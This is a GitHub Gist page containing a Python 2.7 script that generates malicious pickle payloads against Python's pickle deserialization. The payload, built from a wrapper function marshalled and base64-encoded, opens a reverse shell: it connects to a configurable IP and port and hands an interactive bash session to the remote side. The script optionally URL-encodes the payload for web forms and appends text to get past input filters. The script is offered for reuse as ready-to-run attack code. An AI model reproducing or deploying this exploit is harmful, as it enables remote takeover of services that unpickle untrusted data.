Skip to content

Instantly share code, notes, and snippets.

@bgrewell
Last active May 13, 2021 09:18
Show Gist options
  • Save bgrewell/ba619281070cc6185d81e32791a2289e to your computer and use it in GitHub Desktop.
Save bgrewell/ba619281070cc6185d81e32791a2289e to your computer and use it in GitHub Desktop.
This Gist creates payloads to exploit pythons pickle function. It is pre-setup to create reverse shells but could be tweaked for whatever fun uses you can think of.
import marshal
import urllib
import base64
import os
"""
Script: rotten_pickle.py
Date: 5/4/2018
Author: Benjamin Grewell
Purpose: This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it.
This script can pickle any python code and execute it on the target when it is unpickled as long as the target has whatever
modules you try to import. This code base64 encodes the python code so that it can be passed around as ASCII/Unicode text.
It optionally URL encodes it so that it can be submitted through webforms ect.
Notes: This code is written for Python 2.7, it should work in Python 3 with a change in the code to grab the wrappers function
code, I think it would just be changing wrapper.func_code to wrapper.__code__ or something, I haven't tested since I am
writing this for a quick test and don't have time, at some point if I revisit this code i'll check and update but be warned
this was quickly written "throw away" code I figured I would post for others to use if it fit their needs.
"""
"""
### USER EDITABLE SETTINGS ###
CUSTOM_APPEND = [string] custom text (or instructions) to include, this can be useful for bypassing filtering on web inputs)
URL_ENCODE = [bool] URL encode the resulting payload
LINE_ENDINGS = [string] characters to use for line endings. If these don't match the target you can get weird import errors.
SAFE_CHARS = [string] set of characters to not URL encode.
"""
CUSTOM_APPEND = "put_some_extra_text_to_pass_filters_here"
URL_ENCODE = True
LINE_ENDINGS = "\n"
SAFE_CHARS = "()"
"""
This is the main skeleton for building our payloads. It will be modified to include our custom function(s) in the wrapper
below. Do not modify this unless you know what you are doing.
"""
SKELETON = '''ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'{0}'
tRtRc__builtin__
globals
(tRS''
tR(tR.{1}
'''
def wrapper():
"""
Your custom code goes inside here. You could have multiple functions etc. The default reverse shell code is fairly
simple and doesn't make use of any functions. You can see an example of using functions in the commented out section
below.
"""
# import os
# def say_hi():
# print("hello")
# def get_shell():
# os.system('/bin/sh')
#
# say_hi()
# get_shell()
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.1", 1234)) # EDIT: Change to your IP and Port
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/bash", "-i"]) # EDIT: Change to whatever shell you want
"""
Get a base64 encoded version of our wrapper code.
"""
wrapper_payload = base64.b64encode(marshal.dumps(wrapper.func_code))
#print("wrapper_payload: {}".format(wrapper_payload))
"""
Build our raw base64 payload using our wrapper payload and any custom append
"""
rotten_pickle = SKELETON.format(wrapper_payload, CUSTOM_APPEND).strip()
#print("rotten_pickle: {}".format(rotten_pickle))
"""
URL encode our pickle if requested
"""
if URL_ENCODE:
rotten_pickle = urllib.quote_plus(rotten_pickle, safe=SAFE_CHARS)
#print("encoded_pickle: {}".format(rotten_pickle))
"""
Swap out line endings (could do this in other places but it's easy enough here, although a little hacky and only modifies the line endings on urlencoded payloads)
"""
if "%0D%0A" in rotten_pickle:
# Windows style line endings
if not "\n" in LINE_ENDINGS:
rotten_pickle = rotten_pickle.replace("%0A", "")
if not "\r" in LINE_ENDINGS:
rotten_pickle = rotten_pickle.replace("%0D", "")
else:
# Unix style line endings
if "\r" in LINE_ENDINGS:
rotten_pickle = rotten_pickle.replace("%0A", "%0D%0A")
if not "\n" in LINE_ENDINGS:
rotten_pickle = rotten_pickle.replace("%0A", "")
print("final_pickle: {}".format(rotten_pickle))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment